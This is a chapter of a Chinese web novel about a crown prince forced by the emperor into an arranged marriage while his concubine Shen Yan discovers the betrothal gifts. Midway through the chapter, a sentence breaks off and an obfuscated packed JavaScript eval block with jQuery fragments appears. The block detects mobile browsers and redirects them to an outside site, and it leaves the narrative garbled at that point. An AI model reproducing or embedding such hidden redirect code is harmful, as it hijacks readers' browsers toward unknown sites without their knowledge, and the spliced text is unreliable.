56. 指婚
作品:《世子的契约侍妾》 勤政殿,元琛不顾侍卫阻拦闯进大殿。
龙椅上,刚端起药碗的元敬之动作一顿,撩起眼皮觑着来人不紧不慢道:“如今不比在北地时,你身为太子,怎么反倒越发不懂规矩了?”
“程思弼被我杀了。”元琛睨着他,冲口而出。
大殿那头安静了两息,元敬之将手中药汤一饮而尽,边拿帕角拭去嘴边残留的青黑色药汁,边平心静气道:“杀得好。这点小事都办不利索,他也的确该死。”
“父皇要如何才肯放过我的侍妾?”元琛的声音像从牙缝中挤出来。
元敬之未答,将帕子置于内侍呈递的托盘上,重新调了个舒坦的坐姿,这才如释重负地一叹,道:“你总算分得清妻与妾了。”
元琛唇线紧绷,片刻压声道:“父皇究竟想怎样?”
话音落下,元敬之从旁边的桌案上捏起一沓彩墨斑驳的宣纸,递给内侍,一面问元琛:“这几位世家娘子,你再斟酌斟酌?”
元琛未答,垂在身侧的手捏得青筋鼓起,指节泛白。
他怎会不明白元敬之的意思,今日除非他定下一位世家女做为太子妃人选,否则沈妍断没有活路。
内侍擎着画相册毕恭毕敬呈到元琛面前。
他却眼皮都未扫一下,直勾勾盯着元敬之,一字字声音沉冷:“不必了,全凭父皇做主。”
元敬之闻言,终是满意地“嗯”了一声,徐徐颔首:“我看顾御史家的嫡长女就不错。”言罢,扭头吩咐内监曹德全,“宗人府那边也该把聘礼预备起来了。”
曹德全闻言,垂首恭顺应道:“是,老奴这便去传话。”
*
“你们都给我放开!我要见父亲,放开……”
顾御史府,祠堂内,顾婉仪鬓发凌乱,双目赤红,不顾一众侍女、婆子阻拦,一边使出浑身力气往外闯,一边声音沙哑地嘶喊着。
“家主有令,大娘子不能离开。”
“主子,你冷静一下。”
“大娘子息怒……”
“得罪了!”
……
正乱成一团,不远处,顾光庭沉着脸快步走来。
“父亲,父亲!你快叫她们放手。”顾婉仪一眼看见顾光庭,挣扎着大喊。
顾光庭疲惫地摆摆手,女仆们终于松了手。
顾婉仪踉跄着在顾光庭身前跪倒,满面泪痕:“父亲,女儿不想嫁太子,求您,拒绝官家的指婚。”
顾光庭闭目叹了口气,再睁开时,挂着血丝的眼眸似是清明了些许:“别的事为父都能答应你,唯独这一件不行。”
“为何?”顾婉仪拧眉不解,“官家不过是随口一提,乱点鸳鸯谱罢了,难道臣子连拒绝的权力都没有?”
从前,纵使官家也断不会如此霸道,更何况她和太子根本就两相无意。
顾光庭却只是摇头叹息。
想到太子,顾婉仪忽眼前一亮:“对了,父亲可以去求太子殿下想想办法,他心里——”
“太子已经同意了这门婚事。”顾光庭截口打断了她。
顾婉仪神色僵住,半晌才缓过神:“不,这绝不可能!太子之前为阿妍不惜性命以身犯险,此事早已闹得满城风雨,父亲难道不知?太子心中只有阿妍一个,阿妍也心悦太子,怎么会……”
“官家旨意,做臣子的不能忤逆,纵使太子也不例外,何况为父。”顾光庭道,言罢抿了抿唇,终是拂袖离开。
顾婉仪冲过去还要再说什么,旁边几名仆妇涌上前,再度将她拉回祠堂。
不远处,顾光庭垮肩长叹了口气。关于元琛对那个侍妾的宠爱,他早有耳闻,自是不愿让女儿嫁入太子府。
可眼下风雨飘摇,旧世家能否自保,全看能否取得新帝的信任。
这场指婚正是考验顾氏忠心的时候,他又能如何?
纵使疼爱女儿,他终不能置顾氏满门于不顾。
*
宗人府接到圣命后动作很快,不日便有一众内侍、宫娥抬着大箱小箱的金银珠玉,绫罗绸缎等物进了太子府。
尽管郑嬷嬷在聘礼进门前,已赶着派人前往兰竹轩拖住沈妍,却还是给她瞧出了端倪。
借故叫小满支走了旁人,沈妍独自来到前院一座隐蔽的花厅内,瞧着一众宫人们忙忙碌碌,在正堂前方的空场上清点着聘礼。
虽然料到早晚会有这一日,但亲眼目睹此情此景又是另外一回事。
沈妍怔怔瞧着,忍不住眼眶酸涩,心往下沉。
青黑的云层越压越低,周遭不知何时蓄满了湿漉漉的水雾。
领头的内侍仰头看了眼天色,紧接着一叠声催促,宫人们于是越发搬得热火朝天。
正忙碌着,元琛不知从何处急匆匆赶来,被周围堆积如山的喜庆包围着,他猩红的双眸却似要蹦出火星:“谁叫你们搬进来的?”他厉喝一声,眉宇间是罕有的急躁与暴戾。
话音落下,领头的内侍脸色白了白,连忙碎步上前,一边向元琛恭敬施礼,一边小心翼翼道:“奉官家之命,殿下大婚的聘礼,宗人府这几日紧赶着备齐。官家遂命抬过来请殿下过目。”
他说话间,元琛面色愈加森寒,薄唇抿成一线,干哑的嗓音仿佛一道闷雷:“都出去,滚!”
领头的内侍被他吼得一哆嗦,忙哈着腰朝周围挥了挥手。
宫人们见状,一个个臊眉耷眼,灰头土脸往外撤。
不等宫人们走远,元琛吩咐徐管家:“马上把这些收拾干净。”
徐管家愣了愣,张口似乎想说什么,但对上元琛的目光又咽了回去,指挥着仆役们一通手忙脚乱地将聘礼往库房搬。
远处天边隐隐有雷声滚过,周遭变得越发湿热,窒闷。
元琛径直走到一脸忧色站在不远处的郑嬷嬷跟前,犹豫了一下,艰涩开口:“沈娘子那边——”
话未说完忽察觉到什么,偏头看向隐在一片花木葱茏间的花厅。
与沈妍视线相触,他墨黑眸底划过一抹慌乱,下一瞬,抬脚一步快过一步地朝那座花厅奔去。
沈妍只是一动不动站在那儿,透过眼中的蒙蒙水汽,前方的元琛变得越来越模糊,明明在朝她靠近,她却感觉他越来越远。
她眨眨眼,那道身影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873945|179632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重新变为清晰。
“……你都看见了?”面前,元琛眼睫微颤,胸口微微起伏,几步路竟然走得气喘吁吁。
沈妍深吸了一口气,开口声音出乎意料得平静:“是。”她反问他,“若不是宗人府送聘礼过来,殿下打算瞒我到几时?提亲之时,还是大婚当日?”
“听我解释。”仿佛怕她走开,元琛上前一步挡在她身前,神色认真地盯着她。
“先容我猜猜——”沈妍道,“若非官家授意,有哪个侍卫能够公然闯入守卫森严太子府行刺?所以,按照上次那个侍卫的说法,我招惹的不是别人,而是当今官家——殿下的父皇对吗?”
元琛一时没言语,但沈妍每说一句,他脸色便苍白一分。
“纵使殿下有万般不愿,官家的旨意毕竟不能忤逆。”
“再给我一点时间。”
“我想殿下如果有办法,也不会这般瞒着我了。”
元琛张了张口,只觉喉咙干哑苦涩,想说的话似乎也被凝在里面。
沈妍微微一哂,兀自呢喃:“或许这就是所谓缘分吧。”
“不,不是!”元琛眼尾猩红,声嘶力竭地否认着她的话。喘息了片刻,他语气和软下来,神色却显得更加紧张,“求你,别乱想。”
他从未求过她,这是头一回。
但他那句否认是空洞的,无法给出具体的理由。他暴躁无措的样子,令沈妍想到一只被逼到角落的野兽。
而她便是那咄咄逼人的猎手:“与顾姐姐大婚,殿下难道未曾应允?”若不是事先得到元琛应允,聘礼又岂能公然送入太子府?
沈妍不傻,即便元琛身边人个个口风紧,乃至这段时日,他为封锁消息一直不让她出门,但看到今日的结果,沈妍已大致推测出究竟发生了什么。
纸终究包不住火。
“这是谁告诉你的?!”元琛眼底怒意翻涌,几乎是咬牙切齿道。
“看来我没有猜错。”沈妍扯唇,笑容染着三分讽刺,七分悲戚,“太子妃果然定的是顾姐姐。”
当初元琛和她签那份契约,就是为了拒绝与世家联姻。
很长一段时间,沈妍都想不明白,堂堂北境王世子,实权在握的凌州兵马使,何至于连自己的婚事都做不得主?
及至卫王入京,王朝易主,她终于渐渐了然。
元敬之野心勃勃,早就便盘算争得世家支持。
如今,大卫立足未稳,元敬之急于笼络人心,尤其想获得世家的信任与服从,最快也是最为省事的法子就是联姻。
而韩国公倒台后,顾家便是京中世家之首。
此外,虽然她最近没出过太子府,但元琛为了防她起疑,仍允许丁香往府中传递点绛唇与外界的消息。
元敬之指婚未公开,外界自然无从知晓,但也并非无迹可循。
沈妍已经许久没有顾婉仪任何音信了。丁香曾在信中提及,好几次去顾婉仪定期前往的寺庙,都未见着她人。
沈妍心知顾婉仪的为人,也知晓她对元琛并无情意,未必顺从地接受指婚,似这般了无音信,多半已被禁了足。

